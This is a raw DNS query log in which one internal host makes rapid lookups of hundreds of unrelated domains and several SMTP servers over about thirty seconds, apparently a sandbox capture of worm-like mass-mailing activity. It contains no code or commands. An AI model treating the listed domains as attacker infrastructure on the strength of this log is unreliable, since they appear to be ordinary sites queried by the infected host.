Mar 10, 2023 07:56:25.935553074 CET	192.168.2.6	8.8.8.8	0x7406	Standard query (0)	portoccd.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.982460976 CET	192.168.2.6	8.8.8.8	0x82b8	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.986670971 CET	192.168.2.6	8.8.8.8	0xfcb8	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.996896029 CET	192.168.2.6	8.8.8.8	0x5ea8	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.005553961 CET	192.168.2.6	8.8.8.8	0x1e46	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.027937889 CET	192.168.2.6	8.8.8.8	0x3f26	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.093065977 CET	192.168.2.6	8.8.8.8	0x7d54	Standard query (0)	eos-i.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.111179113 CET	192.168.2.6	8.8.8.8	0xc130	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.128637075 CET	192.168.2.6	8.8.8.8	0x3b8a	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.131582022 CET	192.168.2.6	8.8.8.8	0x7ff0	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.148647070 CET	192.168.2.6	8.8.8.8	0x1e13	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.154278040 CET	192.168.2.6	8.8.8.8	0xcab	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.173089981 CET	192.168.2.6	8.8.8.8	0x75d4	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.225711107 CET	192.168.2.6	8.8.8.8	0x541d	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.227327108 CET	192.168.2.6	8.8.8.8	0x7b07	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.331269026 CET	192.168.2.6	8.8.8.8	0x4ac5	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.476470947 CET	192.168.2.6	8.8.8.8	0xc035	Standard query (0)	ludomemo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.476471901 CET	192.168.2.6	8.8.8.8	0x5181	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.621443033 CET	192.168.2.6	8.8.8.8	0x1d9a	Standard query (0)	fogra.com.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.632725954 CET	192.168.2.6	8.8.8.8	0x9365	Standard query (0)	dog-jog.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.847938061 CET	192.168.2.6	8.8.8.8	0x44b7	Standard query (0)	okashimo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.883610010 CET	192.168.2.6	8.8.8.8	0x2734	Standard query (0)	kallman.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.883754969 CET	192.168.2.6	8.8.8.8	0xce65	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.908273935 CET	192.168.2.6	8.8.8.8	0x8604	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.913921118 CET	192.168.2.6	8.8.8.8	0x6ff6	Standard query (0)	dayvo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.992851973 CET	192.168.2.6	8.8.8.8	0xe05a	Standard query (0)	e-kami.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:26.995790958 CET	192.168.2.6	8.8.8.8	0x224d	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.029373884 CET	192.168.2.6	8.8.8.8	0xd793	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.074923992 CET	192.168.2.6	8.8.8.8	0xc87d	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.112147093 CET	192.168.2.6	8.8.8.8	0x664e	Standard query (0)	fogra.com.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.150708914 CET	192.168.2.6	8.8.8.8	0x9c72	Standard query (0)	dog-jog.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.201714993 CET	192.168.2.6	8.8.8.8	0x4b4b	Standard query (0)	envogen.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.287817955 CET	192.168.2.6	8.8.8.8	0x316e	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.507663012 CET	192.168.2.6	8.8.8.8	0xdda5	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.507956028 CET	192.168.2.6	8.8.8.8	0x8729	Standard query (0)	riwn.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.528728962 CET	192.168.2.6	8.8.8.8	0xce35	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.595299006 CET	192.168.2.6	8.8.8.8	0x1397	Standard query (0)	forbin.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.601826906 CET	192.168.2.6	8.8.8.8	0x9951	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.607872009 CET	192.168.2.6	8.8.8.8	0xab11	Standard query (0)	smitko.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.628377914 CET	192.168.2.6	8.8.8.8	0x9896	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.672928095 CET	192.168.2.6	8.8.8.8	0xbd74	Standard query (0)	usadig.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.695936918 CET	192.168.2.6	8.8.8.8	0x1833	Standard query (0)	daytonir.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.696446896 CET	192.168.2.6	8.8.8.8	0xba0	Standard query (0)	host.do	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.696532011 CET	192.168.2.6	8.8.8.8	0x7d23	Standard query (0)	nrsi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.707973957 CET	192.168.2.6	8.8.8.8	0x96d0	Standard query (0)	reproar.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.725539923 CET	192.168.2.6	8.8.8.8	0xabf5	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.818818092 CET	192.168.2.6	8.8.8.8	0xcf90	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.856684923 CET	192.168.2.6	8.8.8.8	0xeca5	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:27.962855101 CET	192.168.2.6	8.8.8.8	0xa7d6	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.007644892 CET	192.168.2.6	8.8.8.8	0x5e28	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.013195992 CET	192.168.2.6	8.8.8.8	0x4d2	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.120932102 CET	192.168.2.6	8.8.8.8	0x5e43	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.132981062 CET	192.168.2.6	8.8.8.8	0x3c90	Standard query (0)	dog-jog.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.147491932 CET	192.168.2.6	8.8.8.8	0x94c1	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.170566082 CET	192.168.2.6	8.8.8.8	0xa7e1	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.233328104 CET	192.168.2.6	8.8.8.8	0xa3f3	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.234000921 CET	192.168.2.6	8.8.8.8	0x3617	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.235892057 CET	192.168.2.6	8.8.8.8	0x5f8e	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.241502047 CET	192.168.2.6	8.8.8.8	0x541d	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.268414974 CET	192.168.2.6	8.8.8.8	0xe513	Standard query (0)	rtcasey.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.287751913 CET	192.168.2.6	198.32.64.12	0x77	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:56:28.310107946 CET	192.168.2.6	8.8.8.8	0xf15	Standard query (0)	zemarmot.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.616391897 CET	192.168.2.6	8.8.8.8	0xef4a	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.624161959 CET	192.168.2.6	8.8.8.8	0xca88	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.633774042 CET	192.168.2.6	8.8.8.8	0x5461	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.655184031 CET	192.168.2.6	8.8.8.8	0xd2fa	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.677191019 CET	192.168.2.6	8.8.8.8	0xc37d	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.701872110 CET	192.168.2.6	8.8.8.8	0x7672	Standard query (0)	dog-jog.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.742515087 CET	192.168.2.6	8.8.8.8	0x219	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.743158102 CET	192.168.2.6	8.8.8.8	0xd67b	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.765300989 CET	192.168.2.6	8.8.8.8	0x378c	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:28.835105896 CET	192.168.2.6	8.8.8.8	0xcf90	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.027082920 CET	192.168.2.6	8.8.8.8	0x3cff	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.050771952 CET	192.168.2.6	8.8.8.8	0x92d9	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.073786974 CET	192.168.2.6	8.8.8.8	0xea85	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.074587107 CET	192.168.2.6	8.8.8.8	0xcf77	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.141283989 CET	192.168.2.6	8.8.8.8	0x911a	Standard query (0)	k-nikko.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.184860945 CET	192.168.2.6	8.8.8.8	0xd9a9	Standard query (0)	bount.com.tw	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.264977932 CET	192.168.2.6	8.8.8.8	0xd303	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.312705994 CET	192.168.2.6	8.8.8.8	0xe686	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.326039076 CET	192.168.2.6	8.8.8.8	0x93d2	Standard query (0)	mijash3.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.405277967 CET	192.168.2.6	8.8.8.8	0x1469	Standard query (0)	sidepath.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.460256100 CET	192.168.2.6	8.8.8.8	0x195f	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.507962942 CET	192.168.2.6	8.8.8.8	0xca9e	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.612788916 CET	192.168.2.6	8.8.8.8	0x4962	Standard query (0)	revoldia.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.653620958 CET	192.168.2.6	8.8.8.8	0x1d57	Standard query (0)	wanoa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.672211885 CET	192.168.2.6	8.8.8.8	0x375c	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.672213078 CET	192.168.2.6	8.8.8.8	0x2f07	Standard query (0)	jsaps.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.845244884 CET	192.168.2.6	8.8.8.8	0xc7a5	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.879894018 CET	192.168.2.6	8.8.8.8	0xe804	Standard query (0)	scip.org.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.890206099 CET	192.168.2.6	8.8.8.8	0xcf90	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.907735109 CET	192.168.2.6	8.8.8.8	0x40e8	Standard query (0)	smtp.compuserve.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:29.934077024 CET	192.168.2.6	8.8.8.8	0x9d4f	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.007776976 CET	192.168.2.6	8.8.8.8	0x2929	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.037816048 CET	192.168.2.6	8.8.8.8	0xa178	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.070833921 CET	192.168.2.6	8.8.8.8	0x3ca6	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.214034081 CET	192.168.2.6	8.8.8.8	0xed9a	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.266100883 CET	192.168.2.6	8.8.8.8	0x45b4	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.272888899 CET	192.168.2.6	8.8.8.8	0xd303	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.316287994 CET	192.168.2.6	8.8.8.8	0xdc0	Standard query (0)	lpver.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.353727102 CET	192.168.2.6	8.8.8.8	0x65d7	Standard query (0)	smtp.live.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.376406908 CET	192.168.2.6	8.8.8.8	0x2828	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.382683992 CET	192.168.2.6	8.8.8.8	0x4996	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.414230108 CET	192.168.2.6	8.8.8.8	0xa0bd	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.457108021 CET	192.168.2.6	8.8.8.8	0xef41	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.462471008 CET	192.168.2.6	8.8.8.8	0xe02f	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.577740908 CET	192.168.2.6	8.8.8.8	0xbf80	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.578855991 CET	192.168.2.6	8.8.8.8	0x10bc	Standard query (0)	noblesse.be	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.586390018 CET	192.168.2.6	8.8.8.8	0x7dd7	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.590356112 CET	192.168.2.6	8.8.8.8	0x281	Standard query (0)	snf.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.630530119 CET	192.168.2.6	8.8.8.8	0xa211	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.638565063 CET	192.168.2.6	8.8.8.8	0x1873	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.676754951 CET	192.168.2.6	8.8.8.8	0xe095	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.686664104 CET	192.168.2.6	8.8.8.8	0xca0c	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.690205097 CET	192.168.2.6	8.8.8.8	0xf5cd	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.696465969 CET	192.168.2.6	8.8.8.8	0x65e9	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.701080084 CET	192.168.2.6	8.8.8.8	0x4759	Standard query (0)	revoldia.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.737207890 CET	192.168.2.6	8.8.8.8	0x13e1	Standard query (0)	gbmfg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:30.987425089 CET	192.168.2.6	8.8.8.8	0xcf46	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.028645039 CET	192.168.2.6	8.8.8.8	0x6904	Standard query (0)	host.do	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.055228949 CET	192.168.2.6	8.8.8.8	0x9856	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.076512098 CET	192.168.2.6	8.8.8.8	0x6ec3	Standard query (0)	unicus.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.117914915 CET	192.168.2.6	8.8.8.8	0xd458	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.244349003 CET	192.168.2.6	8.8.8.8	0x4583	Standard query (0)	rast.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.274830103 CET	192.168.2.6	8.8.8.8	0xd303	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.407963037 CET	192.168.2.6	8.8.8.8	0x180	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.414303064 CET	192.168.2.6	8.8.8.8	0x19f2	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.414755106 CET	192.168.2.6	8.8.8.8	0xef1d	Standard query (0)	geecl.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.414953947 CET	192.168.2.6	8.8.8.8	0xeb8	Standard query (0)	wnit.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.435415030 CET	192.168.2.6	8.8.8.8	0xc848	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.624430895 CET	192.168.2.6	8.8.8.8	0xfa96	Standard query (0)	eos-i.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.663146973 CET	192.168.2.6	8.8.8.8	0x4779	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.678487062 CET	192.168.2.6	8.8.8.8	0xf5cd	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.709774971 CET	192.168.2.6	8.8.8.8	0xa91b	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.718283892 CET	192.168.2.6	8.8.8.8	0xffd8	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.736004114 CET	192.168.2.6	8.8.8.8	0x5bd9	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.740102053 CET	192.168.2.6	8.8.8.8	0x7ddb	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.794761896 CET	192.168.2.6	8.8.8.8	0x246e	Standard query (0)	sokuwan.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.840756893 CET	192.168.2.6	8.8.8.8	0xe44a	Standard query (0)	okashimo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.847848892 CET	192.168.2.6	8.8.8.8	0x3915	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.878787041 CET	192.168.2.6	8.8.8.8	0xdd2b	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.899343014 CET	192.168.2.6	8.8.8.8	0xcf90	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:31.906414986 CET	192.168.2.6	8.8.8.8	0xd281	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.133944035 CET	192.168.2.6	8.8.8.8	0x6b16	Standard query (0)	t-mould.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.283521891 CET	192.168.2.6	8.8.8.8	0x2116	Standard query (0)	scip.org.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.742917061 CET	192.168.2.6	8.8.8.8	0x9c14	Standard query (0)	softizer.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.744038105 CET	192.168.2.6	8.8.8.8	0xc873	Standard query (0)	kumaden.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.745321989 CET	192.168.2.6	8.8.8.8	0xb800	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.746340990 CET	192.168.2.6	8.8.8.8	0xbfa3	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:40.931849957 CET	192.168.2.6	8.8.8.8	0x4536	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:41.242777109 CET	192.168.2.6	8.8.8.8	0xf37f	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:41.508702993 CET	192.168.2.6	8.8.8.8	0xc878	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:42.215396881 CET	192.168.2.6	8.8.8.8	0x5e11	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:42.400341034 CET	192.168.2.6	8.8.8.8	0x7090	Standard query (0)	beafin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:44.102556944 CET	192.168.2.6	8.8.8.8	0x38db	Standard query (0)	sokuwan.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.346997023 CET	192.168.2.6	8.8.8.8	0xe035	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.348207951 CET	192.168.2.6	8.8.8.8	0x6415	Standard query (0)	msl-lock.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.349347115 CET	192.168.2.6	8.8.8.8	0xbb28	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.350440979 CET	192.168.2.6	8.8.8.8	0xd24	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.489617109 CET	192.168.2.6	8.8.8.8	0xff71	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.493074894 CET	192.168.2.6	8.8.8.8	0x8838	Standard query (0)	angework.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.494385004 CET	192.168.2.6	8.8.8.8	0xbf79	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.645342112 CET	192.168.2.6	8.8.8.8	0xb838	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:45.665941954 CET	192.168.2.6	8.8.8.8	0xfdcb	Standard query (0)	webavant.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.040164948 CET	192.168.2.6	8.8.8.8	0x125	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.337095976 CET	192.168.2.6	8.8.8.8	0x2ade	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.337202072 CET	192.168.2.6	8.8.8.8	0x3185	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.338473082 CET	192.168.2.6	8.8.8.8	0xa866	Standard query (0)	dzm.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.338565111 CET	192.168.2.6	8.8.8.8	0xc91b	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.339457035 CET	192.168.2.6	8.8.8.8	0x533d	Standard query (0)	assideum.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.339858055 CET	192.168.2.6	8.8.8.8	0xc2ed	Standard query (0)	rast.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.341088057 CET	192.168.2.6	8.8.8.8	0xd333	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.382267952 CET	192.168.2.6	8.8.8.8	0xdddb	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.541440010 CET	192.168.2.6	8.8.8.8	0x5deb	Standard query (0)	gcss.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:46.789944887 CET	192.168.2.6	8.8.8.8	0x225b	Standard query (0)	floopis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:47.197874069 CET	192.168.2.6	8.8.8.8	0x1927	Standard query (0)	adventist.ro	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:47.431207895 CET	192.168.2.6	8.8.8.8	0x8868	Standard query (0)	hubbikes.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:47.519715071 CET	192.168.2.6	8.8.8.8	0xe02a	Standard query (0)	atb-lit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:47.773371935 CET	192.168.2.6	8.8.8.8	0xd333	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:48.243453026 CET	192.168.2.6	8.8.8.8	0x417d	Standard query (0)	touchfam.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:49.029117107 CET	192.168.2.6	8.8.8.8	0xd333	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:51.435611010 CET	192.168.2.6	8.8.8.8	0x90ea	Standard query (0)	smtp.compuserve.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.736797094 CET	192.168.2.6	8.8.8.8	0xec3d	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.737489939 CET	192.168.2.6	8.8.8.8	0x393f	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.737831116 CET	192.168.2.6	8.8.8.8	0x427a	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.739088058 CET	192.168.2.6	8.8.8.8	0xff7f	Standard query (0)	keio-web.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.739299059 CET	192.168.2.6	8.8.8.8	0xab27	Standard query (0)	univi.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.740061998 CET	192.168.2.6	8.8.8.8	0x17da	Standard query (0)	angework.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.740648985 CET	192.168.2.6	8.8.8.8	0xa3af	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.741730928 CET	192.168.2.6	8.8.8.8	0x6824	Standard query (0)	dzm.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.741770983 CET	192.168.2.6	8.8.8.8	0xf148	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.742208958 CET	192.168.2.6	8.8.8.8	0x8def	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.742640972 CET	192.168.2.6	8.8.8.8	0x5f33	Standard query (0)	nettle.pl	A (IP address)	IN (0x0001)	false
